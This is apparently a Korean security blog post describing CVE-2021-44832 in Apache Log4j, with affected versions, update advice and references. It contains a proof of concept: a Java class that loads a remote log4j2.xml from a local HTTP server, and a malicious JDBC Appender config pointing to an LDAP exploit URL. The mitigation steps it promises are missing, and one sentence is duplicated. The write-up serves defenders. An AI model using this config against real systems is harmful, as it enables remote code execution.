1. CVE-2021-44832 개요
CheckMarx의 Yaniv Nizry는 log4j에서 JDBC 역직렬화를 시작하기 전 JNDI를 통해 데이터베이스 소스를 동적으로 원격에서 가져오도록 log4j를 구성하는 방법이 있는 것을 확인하였으며, 로깅 Config 파일에서 원격 코드를 실행할 수 있는 JNDI URI를 참조하는 데이터 소스와 함께 Log4j에서 로그파일을 작성하는 클래스인 Logger에서 전달된 메시지의 출력 위치를 지정하는 Appender 중 JDBC 자바 직렬화를 수행하는 JDBC Appender를 사용하여 악의적인 설정을 구성할 수 있다는 것을 확인하였다.
원격 데이터베이스 위치의 구성은 DataSource 요소로 수행되며, 공식 문서를 살펴보면 원격 데이터베이스 위치 구성 예는 아래와 같다.
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="error">
<Appenders>
<JDBC name="databaseAppender" tableName="dbo.application_log">
<DataSource jndiName="java:/comp/env/jdbc/LoggingDataSource" />
<Column ...
</JDBC>
</Appenders>
…
</Configuration>
위 예제에서 보듯이 임의의 LDAP 원격 URL을 넣는데 제한이 없었기 때문에 <DataSource jndiName="ldap://127.0.0.1:1389/Exploit"/> 으로 설정을 변경하게 되면 Payload가 트리거 되면서 공격코드 실행이 가능하게 된다.
공격자는 악성 Config 파일(log4j2.xml)을 업로드 후 아래와 같이 CVE-2021-44228 PoC 에서 수행된 것과 동일한 LDAP (Lightweight Directory Access Protocol) 서버를 사용하여 업로드 되어 있는 악성 Config 파일을 가져오도록 한다.공격자는 악성 Config 파일(log4j2.xml)을 업로드 후 아래와 같이 CVE-2021-44228 PoC(개념 증명)에서 수행된 것과 동일한 LDAP(Lightweight Directory Access Protocol) 서버를 사용하여 업로드 되어 있는 악성 Config 파일을 가져오도록 한다.
//log4j.java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j {
static {
System.setProperty("log4j2.configurationFile","http://127.0.0.1:8888/log4j2.xml");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
}
private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) {
}
}
그후 Lgo4j에서 악성 Config 파일을 로드 하면서, 아래와 코드와 같이 DataSurce jndiName에 의해 페이로드가 트리거되고 시스템에서 Exploit이 실행된다.
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="error">
<Appenders>
<JDBC name="databaseAppender" tableName="dbo.application_log">
<DataSource jndiName="ldap://127.0.0.1:1389/Exploit" />
<Column name="eventDate" isEventTimestamp="true" />
<Column name="level" pattern="%level" />
<Column name="logger" pattern="%logger" />
<Column name="message" pattern="%message" />
<Column name="exception" pattern="%ex{full}" />
</JDBC>
</Appenders>
<Loggers>
<Root level="warn">
<AppenderRef ref="databaseAppender"/>
</Root>
</Loggers>
</Configuration>
2. 영향받는 Log4j 버전
2.0-beta9 ~ 2.17.0 이하
※ log4j-core-*.jar 파일 없이 log4j-api-*.jar 파일만 사용하는 경우 취약점의 영향을 받지 않음
3. 대응 방안
최신 버전으로 업데이트가 불가능한 경우 아래와 같이 임시 조치
위의 임시조치는 어디까지나 임시조치이기 때문에 서비스 영향도를 고려하셔서 업데이트 계획을 수립 후 최신 버전의 Log4j로 업데이트를 권고하고 있다.
[참고자료]
https://logging.apache.org/log4j/2.x/security.html
https://nvd.nist.gov/vuln/detail/CVE-2021-44832
https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/
CVE-2021-45105 Log4j Vulnerability (0) | 2021.12.23 |
---|---|
CVE-2021-45046 Log4j Vulnerability (0) | 2021.12.23 |
CVE-2021-44228 Log4j Vulnerability (0) | 2021.12.22 |